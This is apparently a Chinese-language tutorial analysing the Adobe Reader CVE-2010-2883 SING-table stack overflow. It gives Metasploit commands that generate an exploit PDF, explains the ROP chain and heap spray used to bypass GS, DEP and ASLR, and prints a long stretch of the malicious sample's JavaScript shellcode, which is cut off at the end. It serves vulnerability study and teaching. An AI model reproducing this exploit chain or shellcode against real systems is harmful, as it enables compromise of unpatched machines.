admin 管理员组文章数量: 887019
本文章将从漏洞利用分析开始,到样本分析结束,其中涉及到的知识点有PDF格式、TTF字体格式、缓冲区溢出漏洞利用、PE文件格式、软件脱壳和恶意代码分析。其中会演示一些基本操作,方便初学者进行复现。
前置知识
要学习本文章,需要下面的前置知识
- C语言。可以看《C程序设计语言》。
- 汇编语言。可以看《深入理解计算机系统》第三章。
- 缓冲区溢出漏洞利用。可以看《0day安全:软件漏洞分析技术》。
- 软件脱壳、PE文件格式。可以看《加密与解密》。
- 恶意代码分析(可选)。可以看《恶意代码分析实战》。
漏洞信息
漏洞名称:Adobe Reader TTF 字体 SING 表栈溢出漏洞
漏洞编号:CVE-2010-2883
漏洞类型:缓冲区溢出
漏洞描述:Adobe Reader 是流行的PDF阅读软件。CVE-2010-2883 Adobe Reader TTF 字体 SING 表栈溢出漏洞的成因是Adobe Reader和 Acrobat 9.3.4中的 CoolType.dll 在解析 PDF 中的字体时未检查数据的长度,导致缓冲区溢出。
分析环境
操作系统:Windows XP SP3
漏洞软件:Adobe Reader 9.3.4
调试工具:吾爱破解OllyDbg
反汇编器:IDA 7.5
样本 md5
名企面试自助手册.pdf: 3f41dc8e22deca8302db1207e5cdc11c
svrhost.exe: 56e6d9b07c8e9e71224c0741566c3eac
msxml0r.dll: dd48f45c9418da8eb89dfcae894d5b93
本次实验的所有资料可以在公众号回复 CVE-2010-2883 获取
漏洞复现
本次分析中的样本主要使用漏洞战争里面提供的 名企面试自助手册.pdf, 该 pdf 文件在漏洞利用成功后,会修改系统文件,释放恶意程序,然后再打开一个正常的面试手册 pdf 文件,让用户感觉就是打开了一个正常的 pdf 文件,它是一个完整的利用链。为了获取明显的漏洞效果,可以使用 msf 生成漏洞利用的pdf 文件,打开pdf文件会弹一个计算器或者反弹一个shell 。
在 kali linux 虚拟机终端中输入下面命令启动 msf
msfconsole
输入下面命令搜索 CVE-2010-2883 漏洞利用模块
search CVE-2010-2883
使用下面命令生成 pdf 漏洞利用文件
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit
pdf文件生成在 /root/.msf4/local/msf.pdf ,在另一个终端输入下面命令复制到 /root/ 目录,从 kali 虚拟机复制出来,然后复制进 windows xp 虚拟机
cp /root/.msf4/local/msf.pdf /root/
安装 Adobe Reader 9.3.4
安装完后,双击 pdf 文件,会弹出计算器
漏洞分析
PDF 格式和 TTF SING 表
在分析漏洞前,先了解下 pdf 文件的格式和其中的 ttf sing 表的格式。
PDF 全称为 (Portable Document Format) 可移植的文档格式,可以在下面地址获取 PDF 文件的详细定义。
https://www.adobe/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf
可以使用 010editor 的 pdf 文件模板和 PDFStreamDumper 来解析 PDF 文件
pdf 模板文件从下面地址下载
https://www.sweetscape/010editor/repository/files/PDF.bt
PDFStreamDumper从下面地址下载
http://sandsprite/CodeStuff/PDFStreamDumper_Setup.exe
PDF的文件结构如下图
PDF文件结构上主要有四部分组成:
• Header:文件头部,用来注明 PDF 文件的版本号,其值为 %PDF-版本号,如 %PDF-1.5
• Body: 主体,主要由组成文件的对象组成,如图片、文字等。
• Cross-reference table: 交叉引用表,用于存放所有对象的位置偏移,可以方便地随机访问 PDF 中的任意对象。
• Trailer: 文件尾,给出了交叉引用表的位置和一些关键对象的信息,以%%EOF结尾。
可以用 010 Editor 解析 PDF 文件的格式。把样本 PDF 文件拖到 010 editor 中,在 View -> Edit As -> Hex ,使用十六进制视图查看文档。
在 Templates 处打开下载的 PDF.bt 模板文件
点击 Run Template 运行模板文件
点击下面解析结果的相应部分,可以在编辑视图处高亮该部分,可以看到样本的 Header 中版本号是 1.5
中间是 PDF 的 body 部分
接下来是交叉引用表
最后是尾部
PDF的 Body 可以看成一个树状的层次结构组成,其中的每个节点都是一个对象。由根节点 Document catalog 开始,其页节点包括文档的内容(页树)、大纲、文章线索、等其他属性
以 Page tree 为例,其下面的页节点是 Page 节点,也就是每一个页面,Page 节点又由内容流、缩略图、注解等元素组成。
可以使用 PdfStreamDumper.exe 来解析和导出 PDF 文件中的对象。在菜单 Load -> Pdf File 中加载样本文件。
点击第一个对象,/Type 指定了该对象的类型是 Catalog,也就是根对象。
/Pages 指向一个对象 2 0 R , 2是对象的序号,0是生成号,R代表引用一个对象,该对象其实是一个 Pages 对象。/OpenAction 指向了 11 0 R 对象,该 对象指定了打开文档时要进行的操作。
接下来看看 2 0 R 对象,也就是序号为 2 的对象。其中 /Resources 指向一个资源对象 4 0 R。 /Kids 是它的叶节点 5 0 R,其实就是一个 page 节点。/Type 指定该对象是 Pages 对象。
我们重点看看 /Resources 指向的一个资源对象 4 0 R,它是漏洞触发的对象。其对象序号为 4,其中 /Font条目指向了一个字体字典对象 6 0 R 。
继续查看序号为 6 的对象。/F1代表了使用Type 1字体技术定义字形形状的字体。该字体的详细信息可以从以下地址获得
https://storage.googleapis/google-code-archive-downloads/v2/code.google/minuxs/TrueType%201.0%20Font%20Files.pdf
继续查看 7 0 R,其中的 /FontDescriptor 指向了一个字体描述器 9 0 R,用于描述字体各种属性。
继续查看 9 0 R ,该对象中的 /FontFile2 指向一个流对象 10 0 R,该对象就是触发漏洞的字体对象。
其中的 00 01 00 00 是 ttf 字体文件的开始标志。
在 PDFStreamDumper 中右键选择 Save Decompressed Stream, 把该 TTF 内容存在到 txt 文件中。
接着下载 TTF 文件的 010editor 解析模板。
https://www.sweetscape/010editor/repository/files/TTF.bt
使用 010editor 打开导出的 ttf 文件和 ttf 解析模板
ttf 文件全名 The TrueType Font File,是定义字体的文件,其详细的文档如下:
https://storage.googleapis/google-code-archive-downloads/v2/code.google/minuxs/TrueType%201.0%20Font%20Files.pdf
TrueType 字体文件以表格格式包含构成字体的数据。下面是各表的作用
展开 010editor ttf 文件中的表,可以看到有一个 SING 表,该表就是漏洞触发点。但在字体文档里面没有这个表的资料,github 上的开源库中有这个表的定义。
https://github/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
#ifndef FORMAT_SING_H
#define FORMAT_SING_H
#define SING_VERSION VERSION(1, 1)
#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16
typedef struct
{
Card16 tableVersionMajor;
Card16 tableVersionMinor;
Card16 glyphletVersion;
Card16 permissions;
Card16 mainGID;
Card16 unitsPerEm;
Int16 vertAdvance;
Int16 vertOrigin;
Card8 uniqueName[SING_UNIQUENAMELEN];
Card8 METAMD5[SING_MD5LEN];
Card8 nameLength;
Card8 *baseGlyphName; /* name array */
} SINGTbl;
其中的 Card16 就是 USHORT 类型,16位大小,Card8 就是 byte 类型或 char 类型,8位大小。其中的 uniqueName 字段长度为 28 字节,漏洞触发的原因是 CoolType.dll 在复制 uniqueName 字段到缓冲区时,没有检查 uniqueName 字段的长度,导致缓冲区溢出。
先看看样本中的 SING 表,可以看到 SING 表在文件中的偏移是 0x11C,
SING 表中偏移 16 字节的位置是 uniqueName 字段。可以看到样本中的 uniqueName 在超出 28 字节的长度后,仍然没有结束符 \x00 。因此样本中 SING 表的 uniqueName 是一个超长字符串。
对 PDF 文件和 TTF 文件的 SING 表介绍完了,对样本生成感兴趣的,可以详细查看 PDF 和 TTF 的文档,以及 msf 的样本生成代码,位置如下:
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
静态分析
存在漏洞的 dll 文件复制出来,用 ida 打开进行反汇编。打开 ida 的导入表视图,ctrl+f 搜索 strcat 函数,双击函数
在 strcat 函数处按 X 打开交叉引用表
在 sub_803DCF9+B2 处的引用就是存在漏洞的地方
汇编代码中在 803DD74 处引用了 SING 字符串,在 803DDAB 处调用了 strcat 函数。
strcat 函数的定义如下:
char *strcat(char *dest, const char *src);
【参数】dest 为目的字符串指针,src 为源字符串指针。
strcat() 会将参数 src 字符串复制到参数 dest 所指的字符串尾部;dest 最后的结束字符 NULL 会被覆盖掉,并在连接后的字符串的尾部再增加一个 NULL。
注意:dest 与 src 所指的内存空间不能重叠,且 dest 要有足够的空间来容纳要复制的字符串。
【返回值】返回dest 字符串起始地址。
按下 F5 ,把这段代码反编译成 C 代码。可以看到 strcat 把 v18 变量偏移为 16 地址的字符串复制到缓冲区中,而偏移 16 处刚好是 SING 表的 uniqueName 字段。如果对 SING 表熟悉,就可以确认 v18 就是 SING 表的结构体。
把 github 上的头文件下载下来
https://github/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
修改下数据类型:
#ifndef FORMAT_SING_H
#define FORMAT_SING_H
#define SING_VERSION VERSION(1, 1)
#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16
typedef struct
{
USHORT tableVersionMajor;
USHORT tableVersionMinor;
USHORT glyphletVersion;
USHORT permissions;
USHORT mainGID;
USHORT unitsPerEm;
USHORT vertAdvance;
USHORT vertOrigin;
BYTE uniqueName[SING_UNIQUENAMELEN];
BYTE METAMD5[SING_MD5LEN];
BYTE nameLength;
BYTE *baseGlyphName; /* name array */
} SINGTbl;
#endif /* FORMAT_SING_H */
在 IDA 中按 Ctrl + F9 导入头文件
接下来在 v18 处右键,选择 Convert to struct。输入 sing,选择导入的结构体。
再在 v18 处右键重命令变量名成 singTable ,操作完后可读性就高了很多, ida 可以自动识别结构体的字段。
动态调试
单靠静态分析由于缺少运行时的数据,不方便分析每个代码的用途,所以需要使用动态调试和静态分析相结合的方式来分析漏洞。
这里使用 吾爱破解专用版Ollydbg , 里面内置了很多好用的插件。可以到吾爱破解爱盘上下载,下载地址如下:
https://down.52pojie/Tools/Debuggers/%E5%90%BE%E7%88%B1%E7%A0%B4%E8%A7%A3%E4%B8%93%E7%94%A8%E7%89%88Ollydbg.rar
用 ollydbg 打开
C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe
加载后按 F9 运行程序,以便加载所需的 dll 库。
先在三个关键位置下断点,首先在引用 singTable 处下个断点,便于观察内存中 singTable 的内容。在 IDA 的 singTable 变量处,右键选择 Synchronize with -> IDA View-A, Hex View-1 ,这样可以把反编译代码与汇编代码窗口同步,这样只要把鼠标放在引用 singTable 变量的地方,即可在 View-A 窗口同步到该处的汇编代码。
所以第一处断点地址为 0x0803DD82 。在 ollydbg 界面上按 Ctrl + g, 输入 803DD82 ,点击确定,跳到该地址的汇编代码
在该处的汇编代码左边的十六进制显示区域双击下一个断点。
接着在调用 strcat() 函数溢出前下一个断点,地址为 0x0803DDAB
接下来在触发漏洞的位置下一个断点,该位置从溢出处一直跟踪即可发现,也是关键的一个点,下面会进行介绍,地址为 0x0808B308
设置好断点后,可以加载样本文件进行漏洞分析了,把样本文件复制一份到 C 盘根目录,重命名为 a.pdf ,方便后续分析。
用 ollydbg 打开的 Adobe Reader 打开 a.pdf 文件
打开后等几秒,会断在了第三个断点处
此时 eax 寄存器的值为 0x12E6D0,也就是栈上的一个地址,此时栈顶为 0x12E2D8。会取 eax 指向的地址的值来作为函数调用,在 eax 处右键,选择堆栈窗口中跟随
可以看到 0x12E6D0 处存放着的值为 0x080833EF ,意味此处代码的跳转会跳到 CoolType.dll 的 0x080833EF 处执行。因此,如果我们在栈溢出时可以覆盖 0x12E6D0 处的值,就可以跳到任意地址去执行 shellcode。
在 ida 处按 g 键,输入 0x080833EF ,回车,跳到该处的代码,
这似乎是一个根据 switch 语句的值进行相应处理的函数。到这里可以确定的, 栈上的 0x12E6D0 地址存放着一个函数指针,在处理 SING 表时,会调用该函数指针。
按 F9 继续运行程序,断在第一个断点处,此处是引用 singTable 的地方,按 F8 运行到下一行代码,此时 eax 指向 SING 表在内存中的位置。在 eax 处右键在数据窗口跟随。可以看到左下角的数据窗口中看到 SING 表的内容,eax 指向的内存地址的 0x10 偏移处即为 SING 表的 uniqueName。可以看到 SING 表的 uniqueName 字段相当长。
一直按 F8 运行到 0x0803DD9F 处,此处把 eax 加 0x10, 取到 uniqueName 的地址,用于调用 strcat()。
继续运行到第二个断点 0x803DDAB 处,也就是调用 strcat() 函数处。在右下角的栈窗口上可以看到 strcat 复制的目的地址是栈上的缓冲区 0x12E4D8。
在运行 strcat 函数之前,我们先观察一下栈上 0x12E6D0 处附近的数据是什么。在栈窗口上按 ctrl + g 输入 0x12E6D0
此时 0x12E6D0 处的值仍然为之前的 0x80833EF
再看看缓冲区 0x12E4D8 附近的值
按 F8 单步步过 strcat 函数,来到下一行,可以看到 uniqueName 的值已经复制到栈缓冲区 0x12E4D8 处
再来看看 0x12E6D0 处的值,已经被覆盖成 0x4A80CB38,该处为
icucnv36.dll 的代码。
在汇编代码窗口按 ctrl+g 跳到 0x4A80CB38 处的代码,该处的代码会调整栈顶并返回,明显是一个使用 ROP 技术绕过 DEP 保护的技术。
这里简单介绍下 GS、DEP 、ROP 和 ASLR,详细的内容请查看 《0day安全:软件漏洞分析技术》
GS 保护,在编译时可以选择是否开启GS安全编译选项。这个操作会给每个函数增加一些额外的数据和操作,用于检测栈溢出。在函数开始时,会在返回地址和EBP之前压入一个额外的Security Cookie。在函数返回时,系统会比较栈中的这个值和原先存放在.data中的值做一个比较。如果两者不相等,则说明栈中发生了溢出。因为溢出时会覆盖返回地址,而 security cookie 位于返回地址前,所以覆盖返回地址的方法不可行了。这就是为什么该漏洞利用时,会选择覆盖栈上的一个函数指针,然后在调用该函数时跳转到 shellcode 执行。
切换到 IDA 的汇编代码窗口,可以看到在函数开始前往栈压入了 security cookie 。
在函数返回前检查 security cookie 是否被覆盖掉
DEP(Data Execution Prevention) 是数据执行保护,是 windows 防止溢出利用的系统保护机制,系统会标记哪些内存地址可以执行代码,在开启 DEP 后,栈处的内存会被标记为不可执行,因此,除非有办法修改内存的属性,否则不可以在溢出时把 shellcode 布置在栈来运行。支持 DEP 的程序,会把 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标志设为 1
可以在 ollydbg 中按 alt + m 来查看内存属性,可以看到栈区的属性为 RW 读写权限,而 AroRd32.exe 的 text 节才是 RWE 读写执行权限。
ROP(Return Oriented Programming)是用来绕过 DEP 保护的技术,既然栈上的内存不可执行,那么可以通过执行程序自身的代码来达到目的,把一连串的代码片段组合起来,执行一个片段返回,再执行另一个片段,从而实现某种功能。0x4A80CB38 处的代码的功能就是调整栈顶,先添加 ebp 的值,然后把 ebp 的值赋值给 esp ,从而实现把栈地址往高地址调整的目的,然后通过 return 重新获取控制权。要实现这个功能的时候,都可以跳转到这里执行,然后返回。
溢出时,为什么选择 icucnv36.dll 的内存地址呢?是因为 Adobe Reader 大部分库都开启了 ASLR,包括 CoolType.dll ,而 icucnv36.dll 没有开启。
ASLR(Address Space Layout Randomization) 地址空间随机化,在加载程序的时候不再使用固定的基址加载,支持ASLR的程序在其PE头中会设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识来说明其支持ASLR。例如,如果 icucnv36.dll 开启了 ASLR,那么同一个代码的地址,可能是 0x4A80CB38,也可能是 0x5A80CB38。由于无法知道准确的地址,所以也就无法跳转到想要执行的代码。
下面通过一个工具找到 Adobe Reader 中所有没开启 ASLR 或 DEP 的库。下载链接。
http://www.scriptjunkie.us/files/pefinder.zip
使用下面命令来获取 Adobe 目录下没开启保护的库
dir /b /w /s "C:\Program Files\Adobe\*.dll" | pefinder.exe -
CVE-2010-2883 漏洞样本绕过了所有上述的保护,所以很值得研究分析。GS保护通过覆盖函数指针来绕过,DEP 保护通过 ROP 技术来绕过, ALSR 通过堆喷来绕过(后面介绍)。
上面说到漏洞触发点是 0x0808B308 处的 call [eax] ,怎么发现此处呢,那就需要从调用 strcat 函数开始,一步一步的步入代码去寻找了,在寻找的过程中,可以使用 ida 的反编译窗口来加强理解这些汇编代码的作用。
在返回函数前,为了寻找覆盖栈后,可能会导致程序崩溃的子函数,可以在每次函数调用前,都下个断点,然后 F8 步过直接执行完该函数,如果程序退出,证明这个函数里面可能引用到覆盖后的数据。然后用 ollydbg 重新运行到该断点处,用 F7 步入函数继续跟踪到触发点。
在开始操作前,先打个虚拟机快照,因为该样本的触发点运行后,会释放恶意代码,运行过一次恶意代码后会影响后续的样本分析,所以在找到触发点后,需要恢复下快照,把系统恢复到恶意代码释放前。
一路按 F8,运行到调用函数时,下一个断点
然后按 F8 步过该函数,发现程序没有崩溃,删除上面的断点,继续往下测试,直到调用 0x08016BDE 函数处,F8 会直接跑到 call [eax] 处,显然通过该函数会直接运行到触发点。
这里可以 ctrl+F2 重新打开程序,加载程序,运行到断点处,按 F7 步入 0x08016BDE 函数,并在 IDA 反编译窗口中跟进该函数。重复上面的操作,在 0x08016C56 地址处调用 0x0801BB21 函数后会跑到 call [eax] 处。
F7 继续跟进这个函数,在 0x0801BB2D 处把 ecx 指向的值移动到 eax
在 ecx 上右键,在数据窗口中跟随
在数据窗口中右键 -> 长型->地址,以地址形式显示数据,发现 ecx 处的值也是一个指针,指向 0x081A601C
在数据窗口中 ctrl+g 输入 0x081A601C,跳转到该地址,发现该地址处存放着很多函数指针,显然是一个 C++ 类的虚表。而 0x081A601C 则是一个虚表指针,指向该虚表。
在 IDA 中查看该地址,可以看到该类是 StreamHandler,应该是处理解析 PDF 中流对象的类。
在反编译窗口中修改下变量名,该函数的功能也就是取 StreamHandler 的第一个虚函数 0x0808B116 ,然后运行该函数。
注意下此时的栈情况,分别对应 0x0808B116 函数的 7 个参数,第一个参数是 StreamHandler 对象。也就是 0x12E718 处的对象
在查看该地址的数据时,发现该对象偏移 0x3C 处,存放了 0x12E6D0,该地址刚好存放了后面要调用的函数指针,在缓冲区溢出时,很可能是覆盖了 StreamHandler 的一个成员变量,该变量是一个函数指针,指向一个处理函数。
继续 F7 跟进 0x0808BB16 函数,在 0x0808B2E3 处调用处取了
0x12F718 + 0x3C 处的值放到 eax,也就是 StreamHandler 对象偏移为 0x3C 处的值,该值为 0x12E6D0
接下来在 0x0808B308 处 call [eax] 取 0x12E6D0 处的值作为函数进行调用,该值为 icucnv36.dll 中的地址 0x4A80CB38
按 F7 步入后,就到了 ROP 链,到此,从 strcat 溢出到进入 ROP 链的过程分析就结束了。
ROP链分析
接下来分析如何通过 ROP 链来跳到 shellcode 中运行的。
首先是跳到 0x4A80CB38 处运行。
add ebp, 0x794 调整了 ebp,加了 0x794,从0x12DD48 调整到 0x12E4DC
接下来的 leave 指令相当于 mov esp,ebp pop ebp。也就是把 ebp 的值复制到 esp,也就达到了调整栈顶的目的,运行完后, esp 指向 0x12E4E0,而缓冲区溢出时的地址是 0x12E4D8,该地址刚好在后面8个字节,是我们可以控制的栈区。所以这段汇编代码的作用是把栈顶调整到可以控制的栈区。
接下来根据栈上的返回地址返回,到达下一段 ROP 代码。该处 pop esp 把 esp 修改到 0x0c0c0c0c 地址,也就是堆喷常用的地址(后面再介绍是如果进行堆喷的)
运行完后,栈顶来切换成 0x0c0c0c0c,通过堆喷技术,已经提前在此处布置好了 shellcode,此处是布置好的栈数据,用来控制 ROP 链。
继续执行返回,下一段把 0x4A8A0000 地址出栈到 ecx 。
接下来保存 eax 处的值到 0x4A8A0000 处。
接下来的栈顶存放了 CreateFileA 函数的地址,通过 pop eax 赋值给 eax,然后返回。
返回到 jmp [eax], 也就是直接跳转到 CreateFileA 函数中执行,此时栈上是已经构造好的参数
继续按 F7 步入 CreateFileA ,该函数会在本地打开一个文件,如果不存在则创建。在栈上已经构造好所需的参数,FileName 参数为 iso88591 ,也就是在本地创建一个名为 iso88591 的文件,下面的
Attributes 参数指明该文件是一个隐藏文件和临时文件。要在文件夹中开启显示隐藏文件才可以查看。
按 Ctrl + F9 执行至返回,在桌面上可以看到这个文件。
接下来把 eax 和 edi 的值交换,此时 eax 保存的是 CreateFileA 函数调用后返回的文件句柄
接下来把 8 赋值给 ebx
接着把 edi 的值放到 esp + ebx * 2 处 , 也就是 0x0c0c0c6c ,此处原来的值是 0xFFFFFFFF, 通过 and 操作可以把 edi 的值放到此处,该处刚好为接下来要调用的 CreateFileMappingA 函数的第一个参数位置。这样操作应该是没找到直接把 eax 的值放到栈上指定位置的指令,只找到了把 edi 的值放到栈上指定位置的指令
按下来 Ctrl + F9 运行到返回, 接下来把 CreateFileMappingA 函数地址放到 eax 中
按 F7 步入,直接跳转到 CreateFileMappingA 函数运行
在栈上可以看到 CreateFileMappingA 函数的参数,该函数为指定的文件创建文件映射对象。其中第一个参数是上面保存的文件句柄。内存属性为读写执行,意味着可以把 shellcode 复制到此处执行。
按下来 Ctrl + F9 运行到返回,继续运行,后面的运行和前面的运行很相似,也把 CreateFileMappingA 返回的句柄 0x370 保存到栈上,作为 MapViewOfFile 函数的第一个参数。
先交换 eax,edi
保存到栈上,以便下个函数调用
接下来出栈 MapViewOfFile 函数的地址
然后跳转到 MapViewOfFile 函数中执行,该函数将一个文件映射对象映射到当前应用程序的地址空间,其中 hMapObject 参数为上面调用返回的 hMapObject 对象,调用函数后会返回该文件对象在内存中对应的地址
运行到返回后,eax 存放着映射的内存地址,此处为 0x471000
可以看到映射地址 0x471000 处的属性为读写执行权限,可以执行 shellcode
继续运行,把 0x4A8A0004 地址放到 ecx
接着把 eax 中由 MapViewOfFile 函数返回的内存地址保存到 0x4A8A0004 中
接下来交换 eax,edi
给 ebx 赋值 0x30
把 edi 的值保存在 esp + ebx*2 的位置,也就是 0x0C0C0D44 的位置 ,该处的作用是用于后续 ROP 链的返回地址,最后 retn 时会返回到 0x4710000
接下来给 eax 赋值 0x4A8A0004
把 0x4710000 这个新映射的地址保存到 0x4A8A0004 处
交换 eax, edi
赋值 ebx 为 0x20
保存 0x4710000 到 esp + ebx*2 处,该处为后续要调用 memcpy 函数的参数
赋值 ecx 为 0x4A801064,该处为一个 retn 指令的地址
接下来的代码在 0x4A80AEDC 处把 栈地址 + 0xC 的位置加载到 edx,此时 edx 为 0x0C0C0D20 。目的是为后续调用 memcpy 做准备,然后通过 call ecx 实现返回控制权
retn 继续返回
继续返回
给 eax 赋值 0x34
edx + eax 保存到 eax,值为 0x0C0C0D54,该值为后续 memcpy 调用的源地址。
交换 eax, edi
赋值 ebx 0xA
把 0x0C0C0D54 地址放到 0x0C0C0D4C 处,此处刚好是调用 memcpy 时的源地址参数
给 eax 赋值为 memcpy 函数的地址。
跳转到 memcpy 函数
memcpy 函数会把数据从一个源地址复制到目的地址,查看栈中构造好的参数,目的地址是 0x4710000, 源地址是 0x0C0C0D54,0x0C0C0D54 后面就存放着恶意代码
复制完后,会返回到 0x4710000 执行恶意代码
从 ROP 链开始,到运行恶意代码,整个流程大致如下
- 调整栈顶到可以控制的区域,也就是溢出的位置。
- 切换栈顶到 0x0c0c0c0c0c,通过堆喷在此位置构造好了栈数据和恶意代码。
- 调用 CreateFileA 函数,创建 iso88591 文件。
- 调用 CreateFileMappingA 函数,创建内存映射对象。
- 调用 MapViewOfFile 函数,返回该文件在内存中映射的地址。这三步的目的是在内存中创建一块具有执行权限的内存块。
- 调用 memcpy 函数,把恶意代码复制到可执行内存中。
- 跳转到可执行内存中执行恶意代码。
还有一个点就是,ROP链中用到的指令是怎样搜索到的呢?这需要在相应的 dll 文件中搜索想要的指令,可以使用 msfpescan 搜索相应 dll 文件中的指令
比如要搜索跳转到 eax 中的指令地址,可以使用下面命令
msfpescan -j eax icucnv36.dll
也可以用 《0day安全:软件漏洞分析技术》中的插件 OllyFindAddr.dll
也可以自己编写一个搜索指令的插件。
堆喷 (Heap Spray)
前面分析 ROP 链时,栈顶被切换到 0x0c0c0c0c 的位置,该地址被放置了构造好的栈和shellcode。这里就用到了堆喷技术。
在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。通常,JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。这个过程如下图所示:
先把样本中的 heap spray 代码提取出来,使用 PDFStreamDumper 查看样本文件时,在根对象处有个 /OpenAction 键,指向 11 0 R 对象。OpenAction 指定了在打开文档时会执行什么动作。
查看 ID 为 11 的对象,发现该动作是执行一段 JavaScript 代码,该代码在 12 0 R 对象处
12 对象处是 javascript 代码,把这段代码复制出来,代码中做了些混淆技巧,如随机命名变量名,把函数名赋值给随机变量,用 \x25 代替 % 号等等。对变量重命名一下
var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
